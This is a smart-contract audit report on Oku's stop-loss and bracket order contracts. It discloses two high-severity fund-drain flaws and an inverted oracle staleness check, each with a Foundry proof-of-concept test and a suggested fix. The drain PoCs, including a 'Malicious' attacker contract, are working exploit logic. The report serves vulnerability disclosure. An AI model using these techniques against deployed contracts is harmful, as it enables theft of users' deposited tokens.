Oku's New Order Types Contracts Audit Report

Prepared by: Uddercover

Table of Contents

Protocol Summary

This protocol offers order types contract which allow stop loss, stop limit, bracket orders, and more order types.

Disclaimer

Uddercover makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by them is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

oku-custom-order-types @ b84e5725f4d1e0a1ee9048baf44e68d2e53ec971

- oku-custom-order-types/contracts/automatedTrigger/AutomationMaster.sol
- oku-custom-order-types/contracts/automatedTrigger/Bracket.sol
- oku-custom-order-types/contracts/automatedTrigger/IAutomation.sol
- oku-custom-order-types/contracts/automatedTrigger/OracleLess.sol
- oku-custom-order-types/contracts/automatedTrigger/StopLimit.sol
- oku-custom-order-types/contracts/libraries/ArrayMutation.sol
- oku-custom-order-types/contracts/oracle/External/OracleRelay.sol
- oku-custom-order-types/contracts/oracle/External/PythOracle.sol

Roles

Owner

Executive Summary

Issues found

| Severity | Number of issues found |

| -------- | ---------------------- |

| High | 2 |

| Medium | 1 |

| Low | |

| Gas | |

| Info | |

| Total | |

Findings

High

[H] Not resetting the orders mapping for a cancelled order will cause a total loss of user tokens.

Description: In `Bracket.sol: 501`, the orders mapping for a cancelled order is not deleted, this will allow any random bad actor to modify a cancelled order to receive more tokens than they are supposed to. This issue is also seen in `Oracleless.sol: 150` and `StopLimit.sol: 358`.

Impact: The users lose all their deposited tokens. The attacker gains all the user tokens, minus a small amount required for minOrderSize.

Proof of Concept:

▶ Proof of Code

```
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.19;

import {Test, console2} from "forge-std/Test.sol";
import {MockPyth} from "./Mocks/MockPyth.sol";
import {AutomationMaster} from
"../../contracts/automatedTrigger/AutomationMaster.sol";
import {IAutomation, IPermit2} from
"../../contracts/automatedTrigger/IAutomation.sol";
import {Bracket, IBracket} from "../../contracts/automatedTrigger/Bracket.sol";
import {StopLimit, IStopLimit} from
"../../contracts/automatedTrigger/StopLimit.sol";
import {PythOracle, IPyth, IPythRelay} from
"../../contracts/oracle/External/PythOracle.sol";
import {IERC20} from "../../contracts/interfaces/openzeppelin/IERC20.sol";
import {TestERC20} from "./TestERC20.sol";

contract TestForge is Test {
    MockPyth pyth;
    PythOracle pythOracleIn;
    PythOracle pythOracleOut;
    bytes32 TOKEN_IN_PRICE_FEED_ID = bytes32(uint256(0x1));
    bytes32 TOKEN_OUT_PRICE_FEED_ID = bytes32(uint256(0x2));

    IERC20 tokenIn;
    IERC20 tokenOut;

    uint256 noOlderThan = 60;
    uint256 MIN_ORDER_SIZE = 6000e8;
    uint16 MAX_PENDING_ORDERS = 100;

    address owner = makeAddr("owner");
    AutomationMaster automationMaster;
    Bracket bracketContract;
    IStopLimit stopLimitContract;
    IPermit2 permit2;
```

```
    function setUp() public {
        tokenIn = IERC20(address(new TestERC20(18)));
        tokenOut = IERC20(address(new TestERC20(18)));
        address underlyingIn = address(tokenIn);
        address underlyingOut = address(tokenIn);

        pyth = new MockPyth(60, 1);
        pythOracleIn = new PythOracle(IPyth(address(pyth)),
TOKEN_IN_PRICE_FEED_ID, noOlderThan, underlyingIn);
        pythOracleOut = new PythOracle(IPyth(address(pyth)),
TOKEN_OUT_PRICE_FEED_ID, noOlderThan, underlyingOut);

        //set up register oracle params
        IERC20[] memory tokens = new IERC20[](2);
        IPythRelay[] memory oracles = new IPythRelay[](2);
        tokens[0] = tokenIn;
        tokens[1] = tokenOut;
        oracles[0] = pythOracleIn;
        oracles[1] = pythOracleOut;

        //perform necessary owner tasks
        vm.startPrank(owner);
        automationMaster = new AutomationMaster();
        permit2 = IPermit2(address(15));
        bracketContract = new Bracket(automationMaster, permit2);
        stopLimitContract = new StopLimit(automationMaster,
IBracket(bracketContract), permit2);

        automationMaster.setMinOrderSize(MIN_ORDER_SIZE);
        automationMaster.setMaxPendingOrders(MAX_PENDING_ORDERS);
        automationMaster.registerOracle(tokens, oracles);
        automationMaster.registerSubKeepers(stopLimitContract,
bracketContract);
        vm.stopPrank();

        //so that the publish time is 90
        vm.warp(90);
        //initial price of tokenIn set to 3000
        setTokenPrice(3000, TOKEN_IN_PRICE_FEED_ID);
        //initial price of tokenOut set to 2345
        setTokenPrice(2345, TOKEN_OUT_PRICE_FEED_ID);
    }

    //functions for updating token oracle prices
    function createTokenUpdate(int64 price, bytes32 id) private view returns
(bytes[] memory) {
        bytes[] memory updateData = new bytes[](1);
        updateData[0] = pyth.createPriceFeedUpdateData(
            id,
            price * 1e8, // price
            10 * 1e8, // confidence
            -8, // exponent
            price * 1e8, // emaPrice
            10 * 1e8, // emaConfidence
            uint64(block.timestamp) // publishTime
```

```
        );

        return updateData;
    }

    function setTokenPrice(int64 price, bytes32 id) private {
        bytes[] memory updateData = createTokenUpdate(price, id);
        uint256 value = pyth.getUpdateFee(updateData);
        vm.deal(address(this), value);
        pyth.updatePriceFeeds{value: value}(updateData);
    }

    //modifier because of stale price returned
    modifier okuFreshPrice() {
          //necessary because of oku oracle returning stale time
          vm.warp(160);
          _;
     }

     function testFundsCanBeDrainedFromBracketContract() public okuFreshPrice {
             //1. users create orders and have tokens in bracketContract
             address user1 = makeAddr("user1");
             address user2 = makeAddr("user2");
             address user3 = makeAddr("user3");

             vm.startPrank(user1);
             TestERC20(address(tokenIn)).mint(10e18);
             tokenIn.approve(address(bracketContract), 10e18);
             bracketContract.createOrder("", 5e8, 25e7, 10e18, tokenIn,
tokenOut, user1, 20, 20, 100, false, "");
             vm.stopPrank();

             vm.startPrank(user2);
             TestERC20(address(tokenIn)).mint(10e18);
             tokenIn.approve(address(bracketContract), 10e18);
             bracketContract.createOrder("", 4e8, 2e8, 10e18, tokenIn,
tokenOut, user2, 20, 20, 100, false, "");
             vm.stopPrank();

             vm.startPrank(user3);
             TestERC20(address(tokenIn)).mint(10e18);
             tokenIn.approve(address(bracketContract), 10e18);
             bracketContract.createOrder("", 35e7, 15e7, 10e18, tokenIn,
tokenOut, user3, 20, 20, 100, false, "");
             vm.stopPrank();

             uint256 startingBracketContractBalance =
tokenIn.balanceOf(address(bracketContract));
             address thief = makeAddr("thief");
             uint256 balanceOfBracketContract =
tokenIn.balanceOf(address(bracketContract));

             //2. thief creates an order with balance of the bracket contract
             vm.startPrank(thief);
             TestERC20(address(tokenIn)).mint(balanceOfBracketContract);
             //thief balance before order creation
```

```
            uint256 startingBalance = tokenIn.balanceOf(thief);
            tokenIn.approve(address(bracketContract),
balanceOfBracketContract);
            bracketContract.createOrder(
                "", 4e8, 2e8, balanceOfBracketContract, tokenIn, tokenOut,
thief, 20, 20, 100, false, ""
            );

            //check that thief balance reduces by balanceOfBracketContract
            uint256 balanceAfterOrderCreation = tokenIn.balanceOf(thief);
            assertEq(balanceAfterOrderCreation, 0);

            //3. thief gets their orderId and immediately cancels order
            uint96[] memory orderIdsArray =
bracketContract.getPendingOrders();
            uint256 arrLength = orderIdsArray.length;
            uint96 orderId = orderIdsArray[arrLength - 1];
            bracketContract.cancelOrder(orderId);

            //check that thief balance increases to initial amount after order
cancellation
            uint256 balanceAfterOrderCancellation = tokenIn.balanceOf(thief);
            assertEq(balanceAfterOrderCancellation, startingBalance);

            //4. thief calls modifyOrder with their orderId and amountDelta.
The difference between `amountDelta` and the initial order `amountIn` is just
slightly above the minimum amount needed to create an order
            uint256 minOrderAmountInUsd = automationMaster.minOrderSize();
            //convert minOrderAmount to the token amount and then subtract
            uint256 priceOfOneTokenIn = pythOracleIn.currentValue(); //3000e8
            uint256 tokenPrecision = 10 **
TestERC20(address(tokenIn)).decimals();
            uint256 minOrderAmountInTokenIn = (minOrderAmountInUsd *
tokenPrecision) / priceOfOneTokenIn;
            //add one extra token to minOrderAmountInTokenIn so condition in
`AutomationMaster::checkMinOrderSize` passes
            uint256 amountDelta = balanceOfBracketContract -
(minOrderAmountInTokenIn + 1e18);

            //call modifyOrder
            bracketContract.modifyOrder(orderId, 4e8, 2e8, amountDelta,
tokenOut, thief, 20, 100, false, false, "");
            vm.stopPrank();

            uint256 finalBalance = tokenIn.balanceOf(thief);
            uint256 finalBracketContractBalance =
tokenIn.balanceOf(address(bracketContract));

             //5. check that thief balance increases by
(balanceOfBracketContract - 1)
            assertGt(finalBalance, startingBalance);
            assertLt(finalBracketContractBalance,
startingBracketContractBalance);
            console2.log("Thief's starting balance: ", startingBalance);
            console2.log("Thief's final balance: ", finalBalance);
            console2.log("Bracket Contract starting balance",
```

```
startingBracketContractBalance);
             console2.log("Bracket Contract final balance",
finalBracketContractBalance);
         }
}
```

Recommended Mitigation:

```
function _cancelOrder(Order memory order) internal returns (bool) {
        for (uint96 i = 0; i < pendingOrderIds.length; i++) {
            if (pendingOrderIds[i] == order.orderId) {
                //remove from pending array
                pendingOrderIds = ArrayMutation.removeFromArray(i,
pendingOrderIds);
                //@audit mine
+               delete orders[order.orderId];

                //refund tokenIn amountIn to recipient
                order.tokenIn.safeTransfer(order.recipient, order.amountIn);

                //emit event
                emit OrderCancelled(order.orderId);

                return true;
            }
        }
        return false;
    }
```

[H] Allowing users to fill orders with arbitrary target and txData supplied as params will put users funds at risk.

Description: The choice to rely on external calls to arbitrary targets with arbitrary data for filling orders is a bad decision as a malicious user can take advantage of that to steal other users' tokens. For example: Not restricting calls to functions that increase OracleLess contract token balance while an order is being executed in `OracleLess::execute`, will allow a random attacker to steal all user deposited tokens. These target functions are `OracleLess::createOrder` and `OracleLess::modifyOrder`. This issue is also seen in the Bracket contract and the StopLimit contract performUpkeep.

Impact: The Oracleless contract allows anyone to fill orders. It also allows calls that alter the contract's balances to be made without any restrictions. An attacker could take advantage of these two facts to manipulate the contract token balances and steal tokens from the contract.

Proof of Concept:

▶ Proof of Code

```
import {Test, console2} from "forge-std/Test.sol";
import {AutomationMaster} from
"../../contracts/automatedTrigger/AutomationMaster.sol";
import {IAutomation, IPermit2} from
"../../contracts/automatedTrigger/IAutomation.sol";
import {OracleLess, IOracleLess} from
"../../contracts/automatedTrigger/OracleLess.sol";
import {IERC20} from "../../contracts/interfaces/openzeppelin/IERC20.sol";
import {TestERC20} from "./TestERC20.sol";

contract TestForge is Test {
   IERC20 tokenIn;
   IERC20 tokenOut;

   address owner = makeAddr("owner");
   AutomationMaster automationMaster;
   OracleLess oracleless;
   IPermit2 permit2;

   function setUp() public {
       //18 is number of decimals
       tokenIn = IERC20(address(new TestERC20(18)));
       tokenOut = IERC20(address(new TestERC20(18)));

       //perform necessary owner tasks
       vm.startPrank(owner);
       automationMaster = new AutomationMaster();
       permit2 = IPermit2(address(15));
       oracleless = new OracleLess(automationMaster, permit2);
       vm.stopPrank();
   }

function testFundsCanBeDrainedFromOracleless() public {
       //1. users create orders and have tokens in oracleless
       address user1 = makeAddr("user1");
```

```
        address user2 = makeAddr("user2");
        address user3 = makeAddr("user3");

        vm.startPrank(user1);
        TestERC20(address(tokenIn)).mint(10e18);
        tokenIn.approve(address(oracleless), 10e18);
        oracleless.createOrder(tokenIn, tokenOut, 10e18, 10e18, user1, 20,
false, "");
        vm.stopPrank();

        vm.startPrank(user2);
        TestERC20(address(tokenIn)).mint(10e18);
        tokenIn.approve(address(oracleless), 10e18);
        oracleless.createOrder(tokenIn, tokenOut, 10e18, 10e18, user2, 20,
false, "");
        vm.stopPrank();

        vm.startPrank(user3);
        TestERC20(address(tokenIn)).mint(10e18);
        tokenIn.approve(address(oracleless), 10e18);
        oracleless.createOrder(tokenIn, tokenOut, 10e18, 10e18, user3, 20,
false, "");
        vm.stopPrank();

        uint256 oraclelessStartingBalanceTokenIn =
tokenIn.balanceOf(address(oracleless));
        uint256 oraclelessStartingBalanceTokenOut =
tokenOut.balanceOf(address(oracleless));

        //for math stuff
        uint256 balanceOfOraclelessContract =
tokenIn.balanceOf(address(oracleless));

        //2. thief creates an order with a different token as tokenIn and the
above users' token as tokenOut
        address thief = makeAddr("thief");
        vm.startPrank(thief);
        //tokens for first order
        TestERC20(address(tokenOut)).mint(10e18);
        tokenOut.approve(address(oracleless), 10e18);

        //tokens for second order created through malicious contract
        TestERC20(address(tokenIn)).mint(balanceOfOraclelessContract);
        tokenIn.approve(address(oracleless), balanceOfOraclelessContract);

        uint256 thiefStartingBalanceTokenIn = tokenIn.balanceOf(thief);
        uint256 thiefStartingBalanceTokenOut = tokenOut.balanceOf(thief);

        //create first order with a little less than contract balance as
`minAmountOut`
        uint96 orderId = oracleless.createOrder(tokenOut, tokenIn, 1e18,
balanceOfOraclelessContract - 1, thief, 0, false, "");

        //thief gets their pendingOrderIdx
        IOracleLess.Order[] memory ordersArray = oracleless.getPendingOrders();
        require(ordersArray.length < type(uint96).max);
```

```
        uint96 pendingOrderIdx = uint96(ordersArray.length - 1);

        //3. thief calls fillOrder for first order with malicious target and
function data passed into txData, then cancels their second order afterwards to
collect refund
        Malicious target = new Malicious(address(oracleless), address(tokenIn),
address(tokenOut), 1e18, balanceOfOraclelessContract);
        bytes memory txData = abi.encodeWithSelector(Malicious.attack.selector);

        //Execute
        oracleless.fillOrder(pendingOrderIdx, orderId, address(target), txData);
        oracleless.cancelOrder(target.orderId());

        uint256 thiefFinalBalanceTokenIn = tokenIn.balanceOf(thief);
        uint256 thiefFinalBalanceTokenOut = tokenOut.balanceOf(thief);

        uint256 oraclelessFinalBalanceTokenIn =
tokenIn.balanceOf(address(oracleless));
        uint256 oraclelessFinalBalanceTokenOut =
tokenOut.balanceOf(address(oracleless));

        console2.log("Oracleless starting tokenIn balance",
oraclelessStartingBalanceTokenIn);
        console2.log("Oracleless final tokenIn balance",
oraclelessFinalBalanceTokenIn);
        console2.log("Oracleless starting tokenOut balance",
oraclelessStartingBalanceTokenOut);
        console2.log("Oracleless final tokenOut balance",
oraclelessFinalBalanceTokenOut);
        console2.log("Thief starting tokenIn balance",
thiefStartingBalanceTokenIn);
        console2.log("Thief final tokenIn balance", thiefFinalBalanceTokenIn);
        console2.log("Thief starting tokenOut balance",
thiefStartingBalanceTokenOut);
        console2.log("Thief final tokenOut balance", thiefFinalBalanceTokenOut);
        vm.stopPrank();

        assertLt(oraclelessFinalBalanceTokenIn,
oraclelessStartingBalanceTokenIn);
        assertEq(oraclelessStartingBalanceTokenOut,
oraclelessFinalBalanceTokenOut);
        assertGt(thiefFinalBalanceTokenIn, thiefStartingBalanceTokenIn);
        assertEq(thiefStartingBalanceTokenOut, thiefFinalBalanceTokenOut);
    }
}

// malicious contract
contract Malicious {
    OracleLess oracleless;
    address owner;

    IERC20 tokenIn;
    IERC20 tokenOut;

    uint256 amountIn;
    uint256 amountOut;
```

```
    uint96 public orderId;
    constructor(address _oracleless, address _tokenIn, address _tokenOut,
uint256 _amountIn, uint256 _amountOut) {
        oracleless = OracleLess(_oracleless);
        owner = msg.sender;
        tokenIn = IERC20(_tokenIn);
        tokenOut = IERC20(_tokenOut);
        amountIn = _amountIn;
        amountOut = _amountOut;
    }

    function attack() public {
        tokenOut.transferFrom(address(oracleless), owner, amountIn);
        orderId = oracleless.createOrder(tokenIn, tokenOut, amountOut,
amountOut, owner, 20, false, "");
    }
}
```

Recommended Mitigation: Consider a different logic for fulfilling user orders. In the case of the above scenario:

Add locks to createOrder and modifyOrder.

```
contract OracleLess is IOracleLess, Ownable, ReentrancyGuard {
    using SafeERC20 for IERC20;
    .
    .
    .
+    bool public noOrderExecuting = true;
    .
    .
    .
    function createOrder(
        IERC20 tokenIn,
        IERC20 tokenOut,
        uint256 amountIn,
        uint256 minAmountOut,
        address recipient,
        uint16 feeBips,
        bool permit,
        bytes calldata permitPayload
    ) external override returns (uint96 orderId) {
+       require(noOrderExecuting, "Create order not allowed while executing
existing order");
    .
    .
    .
    function modifyOrder(
        uint96 orderId,
        IERC20 _tokenOut,
        uint256 amountInDelta,
        uint256 _minAmountOut,
        address _recipient,
        bool increasePosition,
```

```
         bool permit,
         bytes calldata permitPayload
     ) external override {
+        require(noOrderExecuting, "Modify order not allowed while executing
existing order");
    .
    .
    .
    function execute(address target, bytes calldata txData, Order memory order)
         internal
         returns (uint256 amountOut, uint256 tokenInRefund)
     {
+        noOrderExecuting = false;
         .
         .
         .
+        noOrderExecuting = true;
     }
```

Medium

[M] "Fresh price" returned by PythOracle will cause a significant denial of service in the Oku automation

Description: The use of the wrong comparison operator when checking if the price returned by oracles is fresh in PythOracle.sol `PythOracle::currentValue` will cause this function to interpret fresh prices as stale, and vice versa. This would prevent swaps from going through when the price is actually fresh, as all functions dependent on it would fail. These dependent functions are `AutomationMaster::checkMinOrderSize`, `AutomationMaster::getExchangeRate` and by extension, every contract function dependent on these automation functions.

Impact: The users' orders cannot be processed.

Proof of Concept:

▶ Proof of Code

```
//SPDX-License-Identifier:MIT
pragma solidity ^0.8.19;

import {Test, console2} from "forge-std/Test.sol";
import {MockPyth} from "./Mocks/MockPyth.sol";
import {PythOracle, IPyth, IPythRelay} from
"../../contracts/oracle/External/PythOracle.sol";
import {IERC20} from "../../contracts/interfaces/openzeppelin/IERC20.sol";
import {TestERC20} from "./TestERC20.sol";

contract TestForge is Test {
    MockPyth pyth;
    PythOracle pythOracleIn;
    bytes32 TOKEN_IN_PRICE_FEED_ID = bytes32(uint256(0x1));

    IERC20 tokenIn;

    uint256 noOlderThan = 60;
    address owner = makeAddr("owner");

    function setUp() public {
        pyth = new MockPyth(60, 1);
        address underlyingIn = address(tokenIn);
        pythOracleIn = new PythOracle(IPyth(address(pyth)),
TOKEN_IN_PRICE_FEED_ID, noOlderThan, underlyingIn);

        //so that the publish time is 90
        vm.warp(90);
        //initial price of tokenIn set to 3000
        setTokenPrice(3000, TOKEN_IN_PRICE_FEED_ID);
    }

    //oracle price helper functions
    function createTokenUpdate(int64 price, bytes32 id) private view returns
(bytes[] memory) {
```

```
        bytes[] memory updateData = new bytes[](1);
        updateData[0] = pyth.createPriceFeedUpdateData(
            id,
            price * 1e8, // price
            10 * 1e8, // confidence
            -8, // exponent
            price * 1e8, // emaPrice
            10 * 1e8, // emaConfidence
            uint64(block.timestamp) // publishTime
        );

        return updateData;
    }

    function setTokenPrice(int64 price, bytes32 id) private {
        bytes[] memory updateData = createTokenUpdate(price, id);
        uint256 value = pyth.getUpdateFee(updateData);
        vm.deal(address(this), value);
        pyth.updatePriceFeeds{value: value}(updateData);
    }

    modifier movingTime() {
        //move block.timestamp forward to 100. just over price publishTime
        vm.warp(100);
        _;
    }

    function testOracleDoesReturnStalePrice2() public movingTime {
        IPyth.Price memory priceStruct = pyth.getPrice(TOKEN_IN_PRICE_FEED_ID);

        //price gets interpreted as stale when it should be fresh
        vm.expectRevert("Stale Price");
        uint256 freshPrice = pythOracleIn.currentValue();
        console2.log("No older than: ", noOlderThan);
        console2.log("Fresh price. Block timestamp: ", block.timestamp);
        console2.log("Fresh price. Price publish time: ",
priceStruct.publishTime);

        //gets interpreted as fresh when it should be stale
        vm.warp(160); //moves block.timestamp to 160
        uint256 stalePrice = pythOracleIn.currentValue(); //Oku pythOracle
function returns stale price
        console2.log("No older than: ", noOlderThan);
        console2.log("Stale price. Block timestamp: ", block.timestamp);
        console2.log("Stale price. Price publish time: ",
priceStruct.publishTime);
        console2.log("Oku oracle returns stale price: ", stalePrice);
    }
}
```

Recommended Mitigation:

```
 function currentValue() external view override returns (uint256) {
        IPyth.Price memory price = pythOracle.getPriceUnsafe(tokenId);
```

```
        require(
-           price.publishTime < block.timestamp - noOlderThan,
+          price.publishTime > block.timestamp - noOlderThan,
            "Stale Price"
        );
        return uint256(uint64(price.price));
    }
```

Low

Informational

Gas